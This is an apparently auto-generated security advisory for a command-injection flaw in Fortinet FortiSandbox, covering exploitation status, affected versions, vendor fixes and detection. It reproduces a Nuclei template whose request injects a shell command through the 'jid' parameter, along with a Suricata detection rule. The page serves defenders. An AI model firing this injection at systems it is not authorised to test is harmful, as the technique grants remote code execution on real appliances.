CVE-2026-39808: Fortinet FortiSandbox OS Command Injection Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-11 15:49 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
A improper neutralization of special elements used in an os command (‘os command injection’) vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.8 may allow attacker to execute unauthorized code or commands via <insert attack vector here>
Description quoted from the CVE record (assigned by fortinet, published 2026-04-14).
Weakness: Execute unauthorized code or commands
How it can be exploited
Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.
- On CISA KEV since
- 2026-07-16
- US federal deadline
- 2026-07-19
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Exploit Observer found 1 Nuclei template and 12 code repositories naming this CVE.
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 18 references on Exploit Observer
Live scores
- EPSS
- 0.932
very likely to be attacked soon - VEDAS
- 0.988
strong exploit evidence - On CISA KEV
- Yes, since 2026-07-16
Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Fortinet FortiSandbox | from 4.4.0 up to and including 4.4.8 | Not stated |
| Fortinet FortiSandbox PaaS | version 23.4.4374 version 23.4.4350 version 23.3.4329 version 23.1.4245 version 22.2.4151 version 22.2.4134 version 22.1.4113 version 21.4.4072 and 1 more ranges | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Vendor guidance:
- https://fortiguard.fortinet.com/psirt/FG-IR-26-100
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-39808
How to detect it
Nuclei template (active check)
Fortinet FortiSandbox - Command Injection
A improper neutralization of special elements used in an os command (‘os command injection’) vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.8 may allow attacker to execute unauthorized code or commands via <insert attack vector here>
Name and description quoted from the template, written by VEDAS.
The template sends 2 requests (GET /fortisandbox/job-detail/tracer-behavior?jid=%7c%28echo+{{string}}+..., GET /ng/{{filename}}.txt); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-39808.yamlShow the template (48 lines)
id: CVE-2026-39808
info:
name: "Fortinet FortiSandbox - Command Injection"
author: vedas-arpsyndicate
severity: critical
description: |
A improper neutralization of special elements used in an os command ('os command injection') vulnerability in
Fortinet FortiSandbox 4.4.0 through 4.4.8 may allow attacker to execute unauthorized code or commands via
<insert attack vector here>
reference:
- https://www.exploit.observer/?keyword=CVE-2026-39808&match=exact
- https://subdomain.center/?engine=ammonites&keyword=fortisandbox&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-39808
cwe-id: CWE-78
metadata:
verified: false
tags: cve,cve2026,fortisandbox,fortinet,rce,intrusive,file-upload,vkev,kev
variables:
string: "{{randstr}}"
filename: "{{to_lower(rand_text_alpha(8))}}"
http:
- raw:
- |
GET /fortisandbox/job-detail/tracer-behavior?jid=%7c%28echo+{{string}}+%3e+%2fweb%2fng%2f{{filename}}.txt%29%7c HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(body, 'fortisandbox')"
internal: true
- raw:
- |
GET /ng/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, '{{string}}')"
condition: and
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-39808 Fortinet FortiSandbox - Command Injection. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-39808 Fortinet FortiSandbox - Command Injection"; flow:established,to_server; http.uri; content:"/fortisandbox/job-detail/tracer-behavior"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-39808; reference:url,https://www.exploit.observer/?keyword=CVE-2026-39808&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=fortisandbox&match=exact; sid:1010381; rev:1;)
CVE-2026-39808.rules on GitHub
References
Exploit code
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39808 (government-resource)
Other references
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.